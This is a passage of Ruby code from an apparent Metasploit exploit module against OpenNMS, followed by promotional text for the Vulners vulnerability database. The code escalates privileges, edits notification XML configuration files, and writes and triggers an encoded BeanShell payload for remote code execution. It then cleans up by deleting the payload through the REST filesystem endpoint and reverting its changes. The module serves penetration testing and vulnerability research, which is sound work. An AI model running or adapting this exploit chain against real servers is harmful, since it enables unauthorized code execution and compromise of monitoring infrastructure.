# This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best.  
_success, msg = escalate_or_deescalate_privs  
print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already  
end  
# Let's make sure we have a valid session by clearing the cookie jar and logging in again  
# This will also ensure that any new privileges we may have added are applied  
cookie_jar.clear  
_success, message = opennms_login('exploit')  
vprint_status(message) # _success will always be true here, otherwise we would have failed already  
  
# Check to ensure Notifications are turned on. If they are disabled, enable them.  
ensure_notifications_enabled  
  
# Generate a random payload file name  
@payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase  
  
# Add a notification command  
edit_xml_config_file(notification_commands_file, 'notification-commands', 'command')  
  
# Add a destination path  
edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path')  
  
# Add a notification  
edit_xml_config_file(notifications_file, 'notifications', 'notification')  
  
# Update the configuration changes we made  
update_configuration('exploit')  
  
# Write the payload and trigger the notification  
execute_command(payload.encoded)  
end  
  
def cleanup  
return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?)  
  
print_status('Attempting cleanup...')  
# to be on the safe side, we'll clear the cookie jar and log in again  
cookie_jar.clear  
success, message = opennms_login('cleanup')  
if success  
vprint_status(message)  
else  
print_error(message)  
return  
end  
  
# Delete the payload file  
if @payload_file_name.present? && @payload_written  
res = send_request_cgi({  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => @payload_file_name },  
'keep_cookies' => true  
})  
  
unless res  
print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.")  
return  
end  
  
unless res.code == 200 && res.body.include?('Successfully deleted')  
print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.")  
return  
end  
  
vprint_good("Successfully deleted the payload file #{@payload_file_name}")  
end  
  
# Delete the notification  
revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present?  
  
# Delete the destination path  
revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present?  
  
# Delete the notification command  
revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present?  
  
# Update the configuration changes we made  
success, message = update_configuration('cleanup')  
if success  
vprint_status(message)  
else  
print_error(message)  
end  
  
# Revert the privilege escalation if necessary  
if @role_to_add.present?  
success, message = escalate_or_deescalate_privs(deescalate: true)  
if success  
vprint_status(message)  
else  
print_error(message)  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation